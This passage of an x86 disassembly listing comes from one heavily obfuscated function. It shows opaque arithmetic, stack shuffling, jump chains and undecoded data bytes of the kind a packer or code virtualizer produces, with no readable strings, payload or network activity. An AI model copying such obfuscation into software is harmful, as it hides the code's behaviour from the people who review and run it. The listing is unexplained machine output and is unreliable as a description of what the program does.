aIVqsLfiWsX	db '‰<$VQS»}^«f‰Ù[Wé^X',0
		align 2

loc_55B61A:				; CODE XREF: sub_542C3C+21FF4j
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_56194D
; ---------------------------------------------------------------------------

loc_55B622:				; CODE XREF: sub_542C3C+19261j
		add	ecx, eax
		sub	ecx, 39C65577h
		pop	eax
		sub	esp, 4
		mov	[esp+98h+var_98], edi
		mov	edi, 494B628Eh
		and	edi, 0EFF140Fh
		add	edi, 0F7B4FFF6h
		add	ecx, edi
		mov	edi, [esp+98h+var_98]
		jmp	loc_55449D
; ---------------------------------------------------------------------------

loc_55B64F:				; CODE XREF: sub_542C3C+1EE58j
		sub	edx, 14971E90h
		jmp	loc_5684DC
; ---------------------------------------------------------------------------

loc_55B65A:				; CODE XREF: sub_542C3C+25172j
		push	ebx
		push	37671F8h
		mov	ebx, [esp+0A0h+var_A2+2]
		add	esp, 4
		sub	edi, 2E7520CAh
		add	edi, ebx
		add	edi, 2E7520CAh
		pop	ebx
		and	edi, 569A0E3Fh
		sub	edi, 2438E23Eh
		xor	eax, edi
		jmp	loc_564BFA
; ---------------------------------------------------------------------------
		dd 0D0E9D301h, 0F7FFFFBAh, 4E3F35D8h, 0C3011AE0h, 241C3358h
		dd 0FFDBF7E9h, 50CAFEFFh, 0C220D6B0h, 80DAF658h, 0D300E6C2h
		dd 9B2C5Ah, 8B9B04D8h, 0C483241Ch, 4EC8304h, 0E9241C89h
		dd 0FFFF9752h, 0EE00585Ah, 8BF02859h, 0C4812414h, 4, 9904D828h
		dd 5A3868h, 241C8900h, 0C86809B3h, 0E900002Eh, 2F76h, 515BF988h
		dd 0EF287DB5h, 15EF8059h, 0B652CF28h, 4EEC012h,	1DE9C6FEh
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B70B:				; CODE XREF: sub_542C3C+154D4j
		add	[esp+48h+var_44], eax
		mov	eax, [esp+48h+var_48]
		add	esp, 4
		mov	ebp, [esp+44h+var_44]
		add	esp, 4
		push	edi
		mov	edi, 4C581236h
		sub	edi, 4C4D28B6h
		sub	edi, 42082209h
		add	edi, 545E573Ch
		jmp	loc_55A673
; ---------------------------------------------------------------------------

loc_55B73B:				; CODE XREF: sub_542C3C+11B3Aj
		mov	[esp+80h+var_80], eax
		mov	eax, 2000000h
		push	1E74h
		mov	[esp+84h+var_84], eax
		push	0EBDh
		jmp	loc_5631C6
; ---------------------------------------------------------------------------
		db 2Dh,	0C1h, 5Bh
		dd 25E97586h, 8BFFFFFEh, 0FAE9242Ch
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B767:				; CODE XREF: sub_542C3C+1FBB2j
		sub	[esp+88h+var_84], ecx
		jmp	loc_559B99
; ---------------------------------------------------------------------------

loc_55B770:				; CODE XREF: sub_542C3C+23E5Cj
		sub	ebx, 419F7A78h
		jmp	loc_562F29
; ---------------------------------------------------------------------------
		db 81h
		dd 571835CEh, 0CAC68116h, 0E95B617Bh, 8BC8h
; ---------------------------------------------------------------------------

loc_55B78C:				; CODE XREF: sub_542C3C+1F3E8j
		add	esi, 4
		add	esi, 4
		jmp	loc_55BBD8
; ---------------------------------------------------------------------------
		dw 535Ch
		dd 4BBh, 18BD5500h, 0F75B4465h,	81DDF7DDh, 737F79CDh, 6AC58109h
		dd 29B0B6E4h, 0AE4DE9EAh, 5F66FFFFh, 66D7F766h,	5C55C781h
		dd 0CBEF8166h, 0F88966D4h, 0FFE933E9h, 0B3EE81FFh, 1776E7Dh
		dd 0B3C681C6h, 52776E7Dh, 71BD5550h, 0D15F2B27h, 1ED83EDh
		dd 0CD02C581h, 0E955F184h, 0C30Fh
; ---------------------------------------------------------------------------

loc_55B7FC:				; CODE XREF: sub_542C3C+11AC2j
		mov	edx, [esp+80h+var_80]
		jmp	loc_5582CD
; ---------------------------------------------------------------------------
aZs		db 'Zé#<',0
		align 2

loc_55B80A:				; CODE XREF: sub_542C3C+166B0j
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		db 29h
		dd 0C39DE9C8h, 0F281FFFFh, 18C10093h, 316FB850h, 0C1012F5Dh
		dd 0FFA8BFE9h, 3C77FFFFh, 7AE95052h, 5FFFFFEEh,	8904EC83h
		dd 0EC81243Ch, 4, 66242C89h, 0E95B0DBDh, 57B4h
; ---------------------------------------------------------------------------

loc_55B84C:				; CODE XREF: sub_542C3C+1407Dj
		mov	edi, esi
		pop	esi
		pop	ebx
		jmp	loc_55A353
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 4
		dd 157DD6Ah, 4BA52D3h, 8157DD6Ah, 3E4E50EBh, 81D30163h
		dd 3E4E50C3h, 0ACE95A63h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B877:				; CODE XREF: sub_542C3C+1B36Bj
		sub	edx, 82A89Dh
		add	esi, edx
		pop	edx
		xchg	esi, [esp+80h+var_80]
		jmp	loc_567A39
; ---------------------------------------------------------------------------

loc_55B888:				; CODE XREF: sub_542C3C+24A77j
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	edx
		push	5DBC3EEEh
		pop	edx
		sub	edx, 1
		xor	edx, 5DBC3EE9h
		jmp	loc_56791E
; ---------------------------------------------------------------------------

loc_55B8A8:				; CODE XREF: sub_542C3C+19B96j
		xchg	esi, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		jmp	loc_55CF53
; ---------------------------------------------------------------------------
		db 1
		dd 71E958C3h, 8900000Eh, 83E9240Ch, 5600002Bh, 0E950E689h
		dd 492Bh
; ---------------------------------------------------------------------------

loc_55B8CC:				; CODE XREF: sub_542C3C+1318Cj
		push	esp
		pop	ebx
		push	60D6h
		mov	[esp+50h+var_50], edx
		mov	edx, 1787167Bh
		or	edx, 70EF7D72h
		xor	edx, 77EF7F7Fh
		add	ebx, edx
		jmp	loc_564F82
; ---------------------------------------------------------------------------

loc_55B8EE:				; CODE XREF: sub_542C3C+18DD0j
		pop	edx
		xchg	ecx, [esp+4Ch+var_4C]
		pop	esp
		jmp	loc_55D2C4
; ---------------------------------------------------------------------------

loc_55B8F8:				; CODE XREF: sub_542C3C+13E28j
		add	ebx, esi
		add	ebx, 53CC05E3h
		mov	esi, [esp+84h+var_84]
		jmp	loc_55D837
; ---------------------------------------------------------------------------
		dd 0CD81DDF7h, 587B40FDh, 78685051h, 587D6505h,	0BA8A5F2Dh
		dd 58C18959h, 0ED94C181h, 0CD29E6DCh, 84F58159h, 29D9251Ah
		dd 68535DE8h, 5059h, 0BE243489h, 2EB56A4Ch, 286FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B945:				; CODE XREF: sub_542C3C+1A6DFj
		pop	ecx
		add	al, dl
		jmp	loc_562353
; ---------------------------------------------------------------------------
		db 87h,	0F9h, 81h
		dd 9E7C1BF1h, 724BE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B95A:				; CODE XREF: sub_542C3C+12E55j
		add	esp, 4
		or	eax, eax
		jz	loc_55F53A
		push	edx
		push	5B62h
		mov	[esp+0AEh+var_AE], edi
		mov	edi, 6F9E4B1Dh
		jmp	loc_564DAD
; ---------------------------------------------------------------------------
		db 29h
		dd 0ACFBE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B982:				; CODE XREF: sub_542C3C+1EBB5j
		push	ebx
		jmp	loc_55A26A
; ---------------------------------------------------------------------------

loc_55B988:				; CODE XREF: sub_542C3C+23CB2j
		mov	ebx, esi
		pop	esi
		shl	ebx, 8
		and	ebx, 629872A7h
		jmp	loc_5614AA
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C6h
		dd 16B11A1Ah, 0FFD210E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B9A5:				; CODE XREF: sub_542C3C+22246j
		pop	ecx
		add	ecx, 4
		jmp	loc_555DBE
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4Fh
		dd 5F3D1C24h, 1C8BD831h, 4EC8124h, 89000000h, 0CE92404h
		dd 0FFFFFF83h, 348B2434h, 4C48324h, 81E18951h, 4C1h, 4EC8100h
		dd 89000000h, 0BD55241Ch, 798052F9h, 5BE9D5F7h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_55B9F3:				; CODE XREF: sub_542C3C+134FAj
		sub	ecx, edx
		pop	edx
		xor	eax, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, edx
		jmp	loc_55B8EE
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 20h
		dd 29766619h, 20EF81D7h, 5A766619h, 2CC9C781h, 0EF015D9Ah
		dd 0C874E9h, 0E9835D00h, 240C8704h, 2424895Ch, 4240483h
		dd 68A0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BA41:				; CODE XREF: sub_542C3C+1A430j
		add	ecx, eax
		add	ecx, 4DC2044Fh
		jmp	loc_55C185
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 867FAD02h, 0E95DEB89h, 0CB0Eh, 5A66F408h, 88CBEC80h
		dd 386858E5h, 89000002h, 0DEB5240Ch, 0E959E800h, 0B719h
		dd 5760EF81h, 0EC83097Bh, 0E668E904h, 5CBEFFFFh, 8138F738h
		dd 0AE44EEEEh, 3E6C12Eh, 4FB9EE81h, 0E8E9FEE2h,	0B8FFFF84h
		dd 0D164194h, 8244401h,	246C0158h, 246C8104h, 16419404h
		dd 0E95D5D0Dh, 0FFFF84D6h
; ---------------------------------------------------------------------------

loc_55BABC:				; CODE XREF: sub_542C3C+12633j
		add	esp, 4
		push	[esp+0A2h+var_A2]
		push	[esp+0A6h+var_A6]
		pop	eax
		jmp	loc_556B8C
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 24248B24h, 0FF7A73E9h, 24048FFFh, 4BD55h, 6C010000h
		dd 74E90424h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BAEB:				; CODE XREF: sub_542C3C+23BBAj
		pop	ebp
		sub	esp, 4
		mov	[esp+0A6h+var_A6], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+0A6h+var_A6]
		xor	[esp+0A6h+var_A6], ecx
		xor	ecx, [esp+0A6h+var_A6]
		pop	esp
		mov	[esp+0A2h+var_A2], eax
		mov	eax, 23A255E1h
		add	edx, eax
		pop	eax
		add	edx, edi
		sub	edx, 23A255E1h
		mov	edi, [esp]
		push	2BFDh
		mov	[esp+0A2h+var_A2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+0A6h+var_A2]
		pop	ecx
		pop	[esp+0A6h+var_A6]
		jmp	loc_565ACC
; ---------------------------------------------------------------------------

loc_55BB41:				; CODE XREF: sub_542C3C+2162Aj
		sub	edx, 1
		push	edx
		not	[esp+0A6h+var_A6]
		pop	edx
		sub	edx, 1
		sub	esp, 4
		mov	[esp+0A6h+var_A6], esi
		push	19E33ADCh
		jmp	loc_554A3D
; ---------------------------------------------------------------------------

loc_55BB65:				; CODE XREF: sub_542C3C+1B71Fj
		or	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 201A226Ah
		inc	edx
		shl	edx, 8
		push	0
		sub	[esp+0AEh+var_AE], edx
		pop	edx
		add	edx, 64D6B857h
		or	edi, edx
		mov	edx, [esp+0AAh+var_AA]
		add	esp, 4
		push	6614h
		jmp	loc_55C0B6
; ---------------------------------------------------------------------------
		dw 0E3D1h
		dd 0D33AF381h, 0DF3188F6h, 0E9F9895Bh, 0FFFFDC7Ah
; ---------------------------------------------------------------------------

loc_55BBA8:				; CODE XREF: sub_542C3C+1BF1Dj
		mov	[esp+0AAh+var_AA], ebp
		jmp	loc_557096
; ---------------------------------------------------------------------------
		dd 0B8240489h, 5E066AAEh, 12Dh,	2518E900h, 8B660000h, 97E92404h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BBCB:				; CODE XREF: sub_542C3C+1E06Ej
		mov	ebx, [esp+0AAh+var_AA]
		add	esp, 4
		add	edi, edx
		jmp	loc_55807D
; ---------------------------------------------------------------------------

loc_55BBD8:				; CODE XREF: sub_542C3C+18B59j
		xchg	esi, [esp+88h+var_88]
		pop	esp
		add	esi, 4
		push	edx
		push	edi
		jmp	loc_55F4E2
; ---------------------------------------------------------------------------

loc_55BBE9:				; CODE XREF: sub_542C3C+219DDj
		pop	ecx
		jmp	loc_55BD33
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68100h, 87000000h, 0FFE92434h, 540000BDh, 8124048Fh
		dd 42404h, 815A0000h, 4C2h, 4BF5700h, 29000000h, 14335FFAh
		dd 24143124h, 5C241433h, 0E9241489h, 8DC4h
; ---------------------------------------------------------------------------

loc_55BC30:				; CODE XREF: sub_542C3C+14F06j
		xor	cl, 10h
		jmp	loc_56037C
; ---------------------------------------------------------------------------

loc_55BC38:				; CODE XREF: sub_542C3C+1D99Ej
		mov	esi, ebp
		push	edi
		mov	edi, esi
		mov	eax, edi
		pop	edi
		mov	esi, [esp+7Ch+var_7C]
		add	esp, 4
		mov	ebp, [esp+78h+var_78]
		jmp	loc_565989
; ---------------------------------------------------------------------------

loc_55BC51:				; CODE XREF: sub_542C3C+208A0j
		push	eax
		mov	eax, 3A8C1F3Ch
		not	eax
		add	eax, 1875606Ch
		not	eax
		add	eax, 923DF445h
		sub	esi, eax
		pop	eax
		sub	edx, esi
		pop	esi
		sub	edx, 0D29F9E52h
		add	edi, edx
		pop	edx
		push	edi
		xchg	ebx, [esp+74h+var_74]
		not	ebx
		xchg	ebx, [esp+74h+var_74]
		jmp	loc_561755
; ---------------------------------------------------------------------------
		dw 0E929h
		dd 81242C8Bh, 4C4h, 746E900h, 685C0000h, 2E2Ah,	0B9240C89h
		dd 4, 7053B850h, 0C229530Fh, 48EA8158h,	810C302Ch, 0CC1614EAh
		dd 0E9CA0100h, 0FFFF934Bh, 0C324C8FEh, 0FFF8B5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55BCC5:				; CODE XREF: sub_542C3C+114B8j
		mov	[esp+7Ch+var_7C], ebp
		jmp	loc_559671
; ---------------------------------------------------------------------------
		db 58h,	2Dh, 4Dh
		dd 350FDD6Dh, 7903EFh, 0E864E12Dh, 0F825E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BCE2:				; CODE XREF: sub_542C3C+240D1j
		add	ebp, 4074192Eh
		add	edi, ebp
		pop	ebp
		add	edi, esi
		sub	edi, 450D3D72h
		pop	esi
		sub	edi, 6DBA4706h
		add	edi, eax
		add	edi, 6DBA4706h
		sub	edi, 7FAB0502h
		pop	eax
		add	edi, 4
		xchg	edi, [esp+70h+var_70]
		pop	esp
		push	esi
		mov	esi, 31D27D11h
		xor	eax, esi
		mov	esi, [esp+70h+var_70]
		add	esp, 4
		jmp	loc_566C66
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 9BE90000h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BD33:				; CODE XREF: sub_542C3C+18FAEj
		sub	esi, 4
		xchg	esi, [esp+88h+var_88]
		pop	esp
		mov	[esp+84h+var_84], edi
		mov	edi, 2
		jmp	loc_5555AC
; ---------------------------------------------------------------------------

loc_55BD47:				; CODE XREF: sub_542C3C+129D0j
		shr	edx, 1
		jmp	loc_565115
; ---------------------------------------------------------------------------

loc_55BD4E:				; CODE XREF: sub_542C3C+1A920j
		xor	eax, 14B0780Dh
		add	ebx, eax
		pop	eax
		xor	ecx, ebx
		jmp	loc_564C35
; ---------------------------------------------------------------------------
		db 1, 0D8h, 0E9h
		dd 4936h, 56A468h, 241C8900h, 4EC81h, 14890000h, 9ABF5724h
		dd 89569D7Dh, 243C8BFAh, 0E904C483h, 2D6h, 0FF2434FFh
		dd 0E4E92434h, 5F000088h, 0E5FFC381h, 0C681C0A2h, 15C33583h
		dd 6853DE01h, 39AE3A93h, 0C4BF575Bh, 0E97CAC63h, 0FFFF77B2h
; ---------------------------------------------------------------------------

loc_55BDB4:				; CODE XREF: sub_542C3C+1654Bj
		mov	eax, 5F3305ACh
		xor	eax, 5EFC0AE5h
		xor	eax, 44F12FF3h
		shr	eax, 4
		xor	eax, 7E283424h
		sub	eax, 2139163Ch
		xor	eax, 0D346FA9Fh
		add	ecx, eax
		jmp	loc_5574BA
; ---------------------------------------------------------------------------

loc_55BDDC:				; CODE XREF: sub_542C3C+1B0D9j
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		jmp	loc_562B6B
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2414h, 24D36624h, 3DE99C24h, 660000A5h, 55241C87h
		dd 0B5A8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BE01:				; CODE XREF: sub_542C3C+19469j
		shl	ebx, 4
		jmp	loc_557466
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 19h
		dd 291B635Eh, 0C10158C1h, 5E19C181h, 6EE91B63h,	8700000Ah
		dd 815C240Ch, 473135EEh, 0BBDFE907h, 81470000h,	0B619AAEFh
		dd 5FFA899Ah, 8747FA87h, 0E8B5E9FAh, 48BFFFFh, 4C48124h
		dd 88000000h, 0E1EE9DDh, 0EE000000h, 0FED6F659h, 0B75366C6h
		dd 66FE0035h, 0F3EE805Bh, 0F5AF300h, 8B66C0B6h,	0EC832414h
		dd 241C8904h, 241C8B54h, 2D2568h, 24048900h, 405E089h
		dd 5000000h, 4,	0FF98E8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55BE91:				; CODE XREF: sub_542C3C+1A69Dj
		inc	eax
		xor	eax, 40643h
		add	ecx, 39C65577h
		jmp	loc_55B622
; ---------------------------------------------------------------------------
		dw 0C831h
		dd 58C60159h, 5B5EF001h, 0BA5253h, 8932808Bh, 24148BD3h
		dd 0FFB020E9h, 4B9FFh, 0C3810000h, 51C9187Bh, 0EB81CB01h
		dd 51C9187Bh, 592434FFh, 5004C483h, 73610DB8h, 0F48AE972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BEE2:				; CODE XREF: sub_542C3C+131FAj
		and	esi, ecx
		pop	ecx
		not	esi
		xchg	edi, esi
		jmp	loc_567FB4
; ---------------------------------------------------------------------------
		dw 5768h
		dd 5A84D8B6h, 158C201h,	7AE95AD0h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BEFF:				; CODE XREF: sub_542C3C+1AEC3j
		pop	edx
		not	ecx
		neg	ecx
		xor	ecx, 7C6C4990h
		push	ecx
		jmp	loc_55D985
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 8704EB83h, 53E9241Ch
		db 0C9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BF23:				; CODE XREF: sub_542C3C+1B1B1j
		xor	[esp+48h+var_48], ecx
		xor	ecx, [esp+48h+var_48]
		pop	esp
		sub	bl, 0C7h
		add	bl, cl
		push	ecx
		mov	ch, 44h
		xor	ch, 83h
		add	bl, 7Ah
		jmp	loc_5579CE
; ---------------------------------------------------------------------------
		db 0FFh, 32h, 0E9h
		dd 0FFFF7608h
; ---------------------------------------------------------------------------

loc_55BF44:				; CODE XREF: sub_542C3C+1B1E3j
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_558857
; ---------------------------------------------------------------------------
		dw 5ADh
		dd 60636EFCh, 8D0D502Dh, 5D80132h, 328D0D50h, 0FFF0E2E9h
		dd 4B9FFh, 44810000h, 6E20424h,	44815E68h, 8D10424h, 4C013A0Ah
		dd 6C810424h, 8D10424h,	6C813A0Ah, 6E20424h, 0C8B5E68h
		dd 83E7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BF9A:				; CODE XREF: sub_542C3C+1A3BFj
		sub	ebp, 60393B9Ch
		add	ebp, 83D33D7Bh
		add	edi, 681F2264h
		sub	edi, ebp
		sub	edi, 681F2264h
		mov	ebp, [esp+44h+var_44]
		add	esp, 4
		pop	ebp
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp+38h+var_38]
		pop	esp
		mov	[esp+34h+var_34], ebx
		push	[esp+34h+var_34]
		jmp	loc_55F363
; ---------------------------------------------------------------------------
		db 68h
		dd 947h, 4175E9h, 5EAC100h, 0C46C281h, 0BD55FC22h, 134142EDh
		dd 0FFA78BE9h, 14B951FFh, 505AAD77h, 472F14B8h,	4E0C157h
		dd 0AE122805h, 8BC131A3h, 0C4812404h, 4, 0E3E9C801h, 8000006Bh
		dd 0C480B7ECh, 5E4C0FFh, 2E12E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C025:				; CODE XREF: sub_542C3C+16859j
		xor	ebx, [esp+0A2h+var_A2]
		mov	esp, [esp+0A2h+var_A2]
		push	93Eh
		jmp	loc_55A2B6
; ---------------------------------------------------------------------------
		db 1, 54h, 24h
		dd 34FF5A04h, 0B13CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C042:				; CODE XREF: sub_542C3C+109BEj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+58h+var_58]
		jmp	loc_55CA49
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0B61AE924h, 0A4BBFFFFh, 1274B36h, 2434FFD3h,	4C4815Ah
		dd 0E9000000h, 0FFFFABCEh, 5A58C788h, 6EE9D5F6h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C07F:				; CODE XREF: sub_542C3C+1F71Dj
		add	al, cl
		jmp	loc_56766C
; ---------------------------------------------------------------------------

loc_55C086:				; CODE XREF: sub_542C3C+1D2CEj
		mov	[esp+58h+var_58], edi
		mov	edi, 6D355B80h
		jmp	loc_55E482
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 45E95100h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C09F:				; CODE XREF: sub_542C3C+17222j
		xor	ebx, ebp
		pop	ebp
		add	ebx, 1
		jmp	loc_55BE01
; ---------------------------------------------------------------------------

loc_55C0AA:				; CODE XREF: sub_542C3C+25A90j
		push	[esp+98h+var_98]
		pop	eax
		add	esp, 4
		jmp	loc_5666AF
; ---------------------------------------------------------------------------

loc_55C0B6:				; CODE XREF: sub_542C3C+18F55j
		mov	[esp+0AAh+var_AA], ecx
		jmp	loc_562B07
; ---------------------------------------------------------------------------

loc_55C0BE:				; CODE XREF: sub_542C3C+1B42Aj
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 61291754h
		or	esi, 56EA13AFh
		dec	esi
		jmp	loc_562520
; ---------------------------------------------------------------------------
aIrsZ		db '‰àéÇz',0
		align 2
		dw 0F581h
		dd 1F8C8EC5h, 0FFA120E9h, 7FA025FFh, 43535F3h, 81000240h
		dd 0C0EECC3h, 7DEB810Ch, 1565159h, 7DC381C3h, 81565159h
		dd 0C0EECEBh, 5350580Ch, 0B1BCE9h, 0E9585400h, 482Bh
; ---------------------------------------------------------------------------

loc_55C118:				; CODE XREF: sub_542C3C+209A3j
		mov	ebp, 33AB3E4Ch
		push	ecx
		mov	ecx, 3D7A1983h
		jmp	loc_55B1D8
; ---------------------------------------------------------------------------
		dd 24048B66h, 8904EC83h, 0E789243Ch, 160168h, 0E283E900h
		dd 3489FFFFh, 0E824E924h, 895CFFFFh, 0BCB5240Ch, 0E5C0CDFEh
		dd 79E1E907h, 3C89FFFFh, 393D6824h, 24890000h, 24048324h
		dd 2434FF04h, 0D16E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C16D:				; CODE XREF: sub_542C3C+1FB6Dj
		mov	eax, 1
		add	ebp, 226D4849h
		jmp	loc_5663D1
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFA704E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C185:				; CODE XREF: sub_542C3C+18E0Dj
		pop	eax
		xchg	ecx, [esp+0A2h+var_A2]
		mov	esp, [esp+0A2h+var_A2]
		pop	edx
		pop	eax

loc_55C18E:				; CODE XREF: sub_542C3C+163A4j
					; sub_542C3C+230F6j
		push	[esp+9Ah+var_9C+2]
		mov	ebx, [esp]
		add	esp, 4
		push	782Fh
		mov	[esp], eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 1F8110EEh
		inc	ecx
		and	ecx, 46D72E39h
		jmp	loc_55F9BC
; ---------------------------------------------------------------------------
		dw 90B4h
		dd 0FF58E300h, 835A2434h, 0C38004C4h, 0C0B60FB3h, 67B1E9h
		dd 88B100h, 0CB285BF9h,	80C32859h, 0EB80F8C3h, 29EB806Eh
		dd 46B55166h, 5966EB28h, 8371EB80h, 0C8904ECh, 0A9A2E924h
		dd 0E95F0000h, 0FFFFC2D5h, 2045B850h, 6025303Bh, 0D29DF09h
		dd 7EF73359h, 0C813A60Dh, 0F060E93Ah, 5058FFFFh, 77ED2B8h
		dd 58C22923h, 6E0AE9h, 335D5A00h, 34312434h, 24343324h
		dd 7C62E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C235:				; CODE XREF: sub_542C3C+201E2j
		pop	ebx
		push	edx
		jmp	loc_55E854
; ---------------------------------------------------------------------------
aUUs8iiHH	db 'U½ÊUs8‰ë]h',27h,'H',0
		align 2
		dw 5FE9h
		dd 0ADFFFFE0h, 9B1BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55C255:				; CODE XREF: sub_542C3C+15456j
		mov	edi, [esp+94h+var_94]
		add	esp, 4
		push	esi
		mov	esi, 7421737Fh
		push	edi
		mov	edi, 6D9657Eh
		or	esi, edi
		pop	edi
		xor	esi, 37BD3821h
		inc	esi
		push	ebx
		mov	ebx, 0BF5FF8h
		jmp	loc_5586C7
; ---------------------------------------------------------------------------
		db 81h
		dd 3F097EEBh, 0C118E9D0h, 0EC83FFFFh, 24048904h, 0CB293FB8h
		dd 58C5297Dh, 3E67E581h, 0C58148EAh, 6C90A12h, 240C8B55h
		dd 0B6C9E9h, 4C78100h, 0E9000000h, 0A316h, 5BC7BE56h, 0F7295614h
		dd 5371E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C2C5:				; CODE XREF: sub_542C3C+1F7D4j
		add	ebp, 24A130F1h
		sub	ebp, 369015CEh
		shr	ebp, 6
		shl	ebp, 2
		xor	ebp, 54E614h
		add	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_55CB5B
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4D0C11E6h, 3EE1E9h, 1C77FF00h, 6659669Dh, 9C241CD3h
		dd 0FF724BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C301:				; CODE XREF: sub_542C3C+21C80j
		sub	ebp, 1
		jmp	loc_5627AE
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4ED8300h, 0E9242C87h, 0FFFF92F5h, 53616866h, 24148966h
		dd 92768h, 7A20E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C32E:				; CODE XREF: sub_542C3C+10972j
		shl	edx, 6
		inc	edx
		or	edx, 6DF42A78h
		add	edx, 3D194452h
		sub	edx, 10DD4C73h
		jmp	loc_555139
; ---------------------------------------------------------------------------

loc_55C349:				; CODE XREF: sub_542C3C+1AE86j
		mov	[esp+5Ch+var_5C], edx
		mov	edx, 99CFF2D4h
		push	edi
		mov	edi, 7510AADh
		sub	edi, 0A665D77Eh
		jmp	loc_55DD1A
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0C1810000h, 4, 5261E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C375:				; CODE XREF: sub_542C3C+2591Bj
		xor	edx, 6DFF0B43h
		mov	ebp, edx
		pop	edx
		shl	ebp, 3
		shr	ebp, 6
		push	eax
		mov	eax, 7BEE0EF3h
		sub	eax, 223903A7h
		push	ecx
		push	esi
		mov	esi, 266C261Ch
		mov	ecx, esi
		pop	esi
		and	eax, ecx
		pop	ecx
		jmp	loc_55662D
; ---------------------------------------------------------------------------

loc_55C3A1:				; CODE XREF: sub_542C3C+2038Aj
		push	ecx
		not	[esp+64h+var_64]
		jmp	loc_55CEB9
; ---------------------------------------------------------------------------

loc_55C3AA:				; CODE XREF: sub_542C3C+22656j
		sub	al, dh
		mov	dx, word ptr [esp+64h+var_64]
		add	esp, 2
		jmp	loc_55C5D0
; ---------------------------------------------------------------------------

loc_55C3B8:				; CODE XREF: sub_542C3C+2310Fj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+60h+var_60]
		pop	esp
		shr	eax, 3
		push	4EB4h
		jmp	loc_553A0D
; ---------------------------------------------------------------------------

loc_55C3D2:				; CODE XREF: sub_542C3C+12FBAj
		pop	esp
		jmp	loc_5543F7
; ---------------------------------------------------------------------------
		dd 241C8B5Ah, 6804C483h, 4EADh,	55241C89h, 34316850h, 0F7581FA6h
		dd 2CF50DD8h, 0D0F72199h, 0F425EA35h, 58C5895Ch, 0E9ED8145h
		dd 8942D235h, 242C8BEBh, 104C483h, 241C8BD9h, 8704C483h
		dd 0E95C240Ch, 0FFFF77C0h, 92CF8166h, 0C7816602h, 0A1E9EFABh
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C42F:				; CODE XREF: sub_542C3C+1EC7Dj
		pop	eax
		jmp	loc_55D071
; ---------------------------------------------------------------------------

loc_55C435:				; CODE XREF: sub_542C3C+1FFD6j
		and	ecx, 65E36E6Dh
		xor	ecx, 4CD71CC3h
		mov	ebp, ecx
		pop	ecx
		add	edx, ebp
		pop	ebp
		mov	esi, [esp+7Eh+var_80+2]
		jmp	loc_55DF95
; ---------------------------------------------------------------------------

loc_55C44F:				; CODE XREF: sub_542C3C+1BC64j
		pop	edx
